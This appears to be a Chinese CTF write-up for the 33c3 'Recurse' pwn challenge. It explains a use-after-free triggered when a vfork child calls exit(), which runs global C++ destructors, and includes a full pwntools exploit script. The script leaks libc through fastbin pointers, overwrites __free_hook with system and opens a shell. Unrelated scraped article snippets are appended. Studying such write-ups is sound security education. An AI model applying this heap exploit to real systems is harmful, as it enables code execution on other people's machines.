33c3-pwn500-recurse
Recurse
好记性不如烂笔头。当时没有记录,现在趁着有时间简单写一写,为以后留备份。
这个题目当时并没有队伍做出来,赛后作者发布了题目的源码和解答。看了之后发现是一个UAF漏洞,不过漏洞很不好找。直接用IDA的F5看代码会感觉怪怪的,这是因为程序的编译用到了safestack,safestack是llvm中一种防止内存破坏漏洞的措施,该机制将栈分为了safestack和unsafestack。clang编译器动态的生成一段空间来作为unsafestack并将一些有可能发生内存破坏的变量放到其中。Unsafestack的地址可以通过程序的tls(thread local storage)获取,如下图:
关于safestack的介绍,http://blog.includesecurity.com/2015/11/LLVM-SafeStack-buffer-overflowprotection.html,我觉得这个写得很好。
程序是一个C++的程序,成员变量包含一个std::string,赛后看了源码之后发现成员变量只有一个string对象。关于std::string对象,可以参考上一篇博客的简单介绍。
来介绍一下vfork,根据man page的介绍,vfork和fork类似,只是vfork的子进程并不拷贝父进程的页表,也就是说子进程和父进程共用页表、进程空间。vfork产生子进程后,父进程会被阻塞等待子进程的退出后父进程重新执行,由于子进程和父进程共用的是同一个栈,所以对子进程有一些限制,限制的作用在于不破坏父进程的栈。如果子进程不遵守这些限制,则程序的行为是不确定的。
可以看到在option 3中,程序通过vfork生成了子进程,并且紧接着就调用execl来启动子进程。看起来一切正常,但是如果execl调用失败的话,程序会执行err函数,在err函数中会调用exit函数,exit函数会对全局的C++对象进行析构,从而将申请的内存给释放掉造成UAF。注意子进程可以调用_exit,但是不能调用exit,因为exit会调用程序运行时注册的各种析构函数。关于exit的介绍,我觉得这一篇很棒:http://m.udpwork.com/item/11573.html
全局的C++对象中存在std::string,而std::string的长度大于15的时候,会申请堆空间来存放字符串。因此,如果造成C++全局对象的析构的话,堆上的空间将会被释放。这个时候就可以通过内存重叠来造成信息泄露和任意地址写。关于如何造成内存重叠,每个人的方法可能不一样,我的exp参考了官方的exp但是和官方的exp的内存布局不一样。关于信息泄露,我们则是通过泄露fastbin的fd指针进行泄露。任意地址写则是通过fastbin攻击,伪造fast chunk。
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug' HOST = '127.0.0.1'
PORT = 10000
r = remote(HOST, PORT) def enter(name = 'AAAA'):
r.readuntil('iterate')
r.sendline('')
r.readuntil('name?')
r.sendline(name) def leave():
r.readuntil('iterate')
r.sendline('') def trigger_uaf():
enter('A'*140*1024)
for i in range(33):
r.readn(4095) r.readuntil('iterate')
r.sendline('')
leave() MSB = '\x7f'
libc_leak_off = 0x3bdb58
free_hook = 0x3bf788
system = 0x43f40 raw_input('go!')
r.readuntil('name?')
r.sendline(p64(0x31)) r.readuntil('iterate')
r.sendline('')
r.readuntil('name?')
r.sendline('A'*400)
raw_input('go!') enter(p64(0x31)*8)
enter(p64(0x31)*8) trigger_uaf()
raw_input('After trigger UAF')
enter(p64(0x31)*8)
enter(p64(0x31)*8) enter(p64(0x31)*7)
small_data = p64(0x31) + p64(0) + '\x00'*0xe
enter(small_data)
enter(small_data) leave()
leave()
leave() leave()
leave()
leave()
leave() leak = r.readuntil('iterate')
leak_off = leak.find(MSB)-5
assert leak_off >= 0
libc = u64(leak[leak_off:leak_off+8]) - libc_leak_off r.unrecv('iterate')
r.readuntil('iterate')
r.sendline('')
r.readuntil('name?')
fakefd = libc - 0x100
data1 = 0xa0*'\x00' + p64(0x240) + p64(0x31) + p64(fakefd)
r.sendline(data1) raw_input('stop here')
enter('a'*16)
enter('b'*16)
enter(p64(0x31)+'\x00')
data2 = 'a'*24 + p64(libc+free_hook)[:6]
enter(data2)
leave()
leave() r.readuntil('iterate')
r.sendline('')
r.readuntil('name?')
r.sendline(p64(libc+system))
enter('/bin/sh\x00'*2)
leave()
r.interactive()
33c3-pwn500-recurse的更多相关文章
- Get-ChildItem参数之 -Exclude,Filter,Recurse应用
$p = "D:\PSScript" gci $p -Exclude "UpdateLog" #排除子目录"UpdateLog",但是后面不 ...
- 胖哈勃杯Pwn400、Pwn500详解
概述 这次的胖哈博杯我出了Pwn400.Pwn500两道题目,这里讲一下出题和解题的思路.我个人感觉前两年的Pwn题更多的是考察单一的利用技巧,比我这有个洞怎么利用它拿到权限.但是我研究了一些最近的题 ...
- [Algorithms] Divide and Recurse Over an Array with Merge Sort in JavaScript
Merge sort is a recursive sorting algorithm. If you don't understand recursion, I recommend finding ...
- 【深入浅出jQuery】源码浅析--整体架构
最近一直在研读 jQuery 源码,初看源码一头雾水毫无头绪,真正静下心来细看写的真是精妙,让你感叹代码之美. 其结构明晰,高内聚.低耦合,兼具优秀的性能与便利的扩展性,在浏览器的兼容性(功能缺陷.渐 ...
- $.extend()的实现源码 --(源码学习1)
目标: $.extend({ add:function(a,b){ return a + b; } }) console.log($.a ...
- PowerShell实现批量重命名文件
[string]$FileName="E:\test11" #-------------------------------------- Clear-Host foreach($ ...
- spring源码分析之@ImportSelector、@Import、ImportResource工作原理分析
1. @importSelector定义: /** * Interface to be implemented by types that determine which @{@link Config ...
- pt-heartbeat
pt-heartbeat是用来监测主从延迟的情况的,众所周知,传统的通过show slave status\G命令中的Seconds_Behind_Master值来判断主从延迟并不靠谱. pt-hea ...
- 学习笔记:7z在delphi的应用
最近做个发邮件的功能,需要将日志文件通过邮件发送回来用于分析,但是日志文件可能会超级大,测算下来一天可能会有800M的大小.所以压缩是不可避免了,delphi中的默认压缩算法整了半天不太好使,就看了看 ...
- 从零开始,DIY一个jQuery(2)
在上篇文章我们简单实现了一个 jQuery 的基础结构,不过为了顺应潮流,这次咱把它改为模块化的写法,此举得以有效提升项目的可维护性,因此在后续也将以模块化形式进行持续开发. 模块化开发和编译需要用上 ...
随机推荐
- Vue基础-双向绑定:从 html 到 模板 到 渲染函数
Vue 测试版本:Vue.js v2.5.13 在 Vue 中,可以利用 v-model 语法糖实现数据的双向绑定,例如: <div id="app"> <inp ...
- 元素隐藏 css
参考:http://www.zhangxinxu.com/wordpress/2011/03/css-%E7%9B%B8%E5%AF%B9%E7%BB%9D%E5%AF%B9relativeabsol ...
- 160527、项目上线后session(远程session)
import java.io.Serializable;import java.util.HashMap;import java.util.Map;import java.util.UUID;impo ...
- _init_() got an unexpected keyword argument ‘shape’
按照<TensorFlow:实战Google深度学习框架>一书学习的tensorflow,书中使用的是0.9.0版本,而我安装的是1.11.0 如果按照书上的例子来,因为这本书使用tens ...
- c#自定义控件做漂亮的列表
效果图如下: 完整项目代码下载: 点击下载
- 15.Update Documents-官方文档摘录
1.插入数据 db.inventory.insertMany( [ { item: "canvas", qty: 100, size: { h: 28, w: 35.5, uom: ...
- Linux升级python至3.4.4
wget https://www.python.org/ftp/python/3.4.4/Python-3.4.4.tgz ls .tgz mkdir /usr/local/python3 cd Py ...
- MySQL 一些让人容易忽视的知识点
一下都是MySQL在实际开发中,经常容易让人忽视的点,希望对您有帮助,帮您越过这些坑. 一:MySQL AND优先级大于OR 今天上班时在写一个业务的时候又发现了一个MySQL的问题: 我们的业务是这 ...
- DIV+CSS如何让文字垂直居中?
在说到这个问题的时候,也许有人会问CSS中不是有vertical-align属性来设置垂直居中的吗?即使是某些浏览器不支持我只需做少许的CSS Hack技术就可以啊!所以在这里我还要啰嗦两句,CSS中 ...
- Spark ML Pipeline简介
Spark ML Pipeline基于DataFrame构建了一套High-level API,我们可以使用MLPipeline构建机器学习应用,它能够将一个机器学习应用的多个处理过程组织起来,通过在 ...